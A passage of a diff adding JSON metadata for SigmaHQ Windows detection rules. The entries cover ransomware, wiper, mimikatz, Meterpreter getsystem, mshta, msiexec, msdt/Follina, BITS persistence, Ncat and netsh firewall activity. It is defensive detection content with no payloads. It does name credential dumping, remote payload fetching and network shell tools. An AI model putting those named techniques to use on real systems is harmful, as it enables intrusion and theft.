Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", + "value": "Blue Mockingbird", + "meta": { + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ], + "creation_date": "2020/05/14", + "filename": "proc_creation_win_mal_blue_mockingbird.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects DarkSide Ransomware and helpers", + "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", + "value": "DarkSide Ransomware Pattern", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", + "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2021/05/14", + "filename": "proc_creation_win_mal_darkside_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown", + "UAC bypass method used by other malware" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", + "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", + "value": "Hermetic Wiper TG Process Patterns", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/02/25", + "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects LockerGoga Ransomware command line.", + "uuid": "74db3488-fd28-480a-95aa-b7af626de068", + "value": "LockerGoga Ransomware", + "meta": { + "refs": [ + "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", + "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", + "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", + "author": "Vasiliy Burov, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Ryuk Ransomware command lines", + "uuid": "0acaad27-9f02-4136-a243-c357202edd74", + "value": "Ryuk Ransomware", + "meta": { + "refs": [ + "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2019/08/06", + "filename": "proc_creation_win_mal_ryuk.yml", + "author": "Vasiliy Burov", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", + "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", + "value": "Suspicious Usage of the Manage-bde.wsf Script", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", + "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", + "https://twitter.com/bohops/status/980659399495741441", + "https://twitter.com/JohnLaTwC/status/1223292479270600706", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_manage_bde_lolbas.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", + "uuid": "15619216-e993-4721-b590-4c520615a67d", + "value": "Meterpreter or Cobalt Strike Getsystem Service Start", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "high", + "falsepositive": [ + "Commandlines containing components like cmd accidentally", + "Jobs and services started with cmd" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection well-known mimikatz command line arguments", + "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", + "value": "Mimikatz Command Line", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_mimikatz_command_line.yml", + "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", + "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", + "value": "MMC20 Lateral Movement", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" + ], + "tags": [ + "attack.execution", + "attack.t1021.003" + ], + "creation_date": "2020/03/04", + "filename": "proc_creation_win_mmc20_lateral_movement.yml", + "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command line executable started from MMC", + "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", + "value": "MMC Spawning Windows Shell", + "meta": { + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2019/08/05", + "filename": "proc_creation_win_mmc_spawn_shell.yml", + "author": "Karneades, Swisscom CSIRT", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", + "value": "Modify Group Policy Settings", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_modify_group_policy_settings.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", + "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", + "value": "Modification Of Existing Services For Persistence", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003", + "attack.t1574.011" + ], + "creation_date": "2020/09/29", + "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", + "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", + "value": "Monitoring For Persistence Via BITS", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", + "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1197" + ], + "creation_date": "2020/10/29", + "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", + "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", + "value": "Mouse Lock Credential Gathering", + "meta": { + "refs": [ + "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", + "https://sourceforge.net/projects/mouselock/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ], + "creation_date": "2020/08/13", + "filename": "proc_creation_win_mouse_lock.yml", + "author": "Cian Heasley", + "level": "medium", + "falsepositive": [ + "Legitimate uses of Mouse Lock software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects file execution using the msdeploy.exe lolbin", + "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", + "value": "Execute Files with Msdeploy.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", + "https://twitter.com/pabraeken/status/995837734379032576", + "https://twitter.com/pabraeken/status/999090532839313408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_msdeploy.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", + "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", + "value": "Execute Arbitrary Commands Using MSDT.EXE", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://twitter.com/_JohnHammond/status/1531672601067675648", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/05/29", + "filename": "proc_creation_win_msdt.yml", + "author": "Nasreddine Bencherchali (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", + "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", + "value": "Execute MSDT.EXE Using Diagcab File", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_msdt_diagcab.yml", + "author": "GossiTheDog (rule), frack113 (sigma version)", + "level": "high", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", + "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", + "value": "MSDT.EXE Execution With Suspicious Cab Option", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537896324837781506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/21", + "filename": "proc_creation_win_msdt_susp_cab_options.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", + "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", + "value": "MSDT Executed with Suspicious Parent", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_msdt_susp_parent.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", + "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", + "value": "Suspicious Minimized MSEdge Start", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_msedge_minimized_download.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", + "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", + "value": "Mshta Remotely Hosted HTA File Execution", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.005" + ], + "creation_date": "2022/08/08", + "filename": "proc_creation_win_mshta_http.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies suspicious mshta.exe commands.", + "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", + "value": "Mshta JavaScript Execution", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_mshta_javascript.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command line executable started from MSHTA", + "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", + "value": "MSHTA Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.trustedsec.com/july-2015/malicious-htas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005", + "car.2013-02-003", + "car.2013-03-001", + "car.2014-04-003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_mshta_spawn_shell.yml", + "author": "Michael Haag", + "level": "high", + "falsepositive": [ + "Printer software / driver installations", + "HP software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", + "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", + "value": "Suspicious Msiexec Load DLL", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/04/24", + "filename": "proc_creation_win_msiexec_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", + "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", + "value": "Suspicious MsiExec Embedding Parent", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" + ], + "tags": [ + "attack.t1218.007", + "attack.defense_evasion" + ], + "creation_date": "2022/04/16", + "filename": "proc_creation_win_msiexec_embedding.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", + "value": "Suspicious Msiexec Execute Arbitrary DLL", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_msiexec_execute_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", + "value": "Suspicious Msiexec Quiet Install", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914244344799235", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_msiexec_install_quiet.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", + "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", + "value": "Suspicious Msiexec Quiet Install From Remote Location", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/10/28", + "filename": "proc_creation_win_msiexec_install_remote.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", + "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", + "value": "Msra.exe Process Injection", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", + "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2022/06/24", + "filename": "proc_creation_win_msra_process_injection.yml", + "author": "Alexander McDonald", + "level": "high", + "falsepositive": [ + "Legitimate use of Msra.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", + "value": "Remote Desktop Protocol Use Mstsc", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/01/07", + "filename": "proc_creation_win_mstsc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "WSL (Windows Sub System For Linux)", + "Other currently unknown software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple suspicious process in a limited timeframe", + "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", + "value": "Quick Execution of a Series of Suspicious Commands", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-04-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" + ], + "tags": [ + "car.2013-04-002", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_multiple_susp_cli.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", + "value": "Ncat Execution", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "proc_creation_win_netcat_execution.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate ncat use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", + "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", + "value": "Netsh RDP Port Opening", + "meta": { + "refs": [ + "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/05/23", + "filename": "proc_creation_win_netsh_allow_port_rdp.yml", + "author": "Sander Wiebing", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Allow Incoming Connections by Port or Application on Windows Firewall", + "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", + "value": "Netsh Port or Application Allowed", + "meta": { + "refs": [ + "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_fw_add.yml", + "author": "Markus Neis, Sander Wiebing", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", + "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", + "value": "Netsh Program Allowed with Suspcious Location", + "meta": { + "refs": [ + "https://www.virusradar.com/en/Win32_Kasidet.AD/description", + "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/05/25", + "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", + "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": 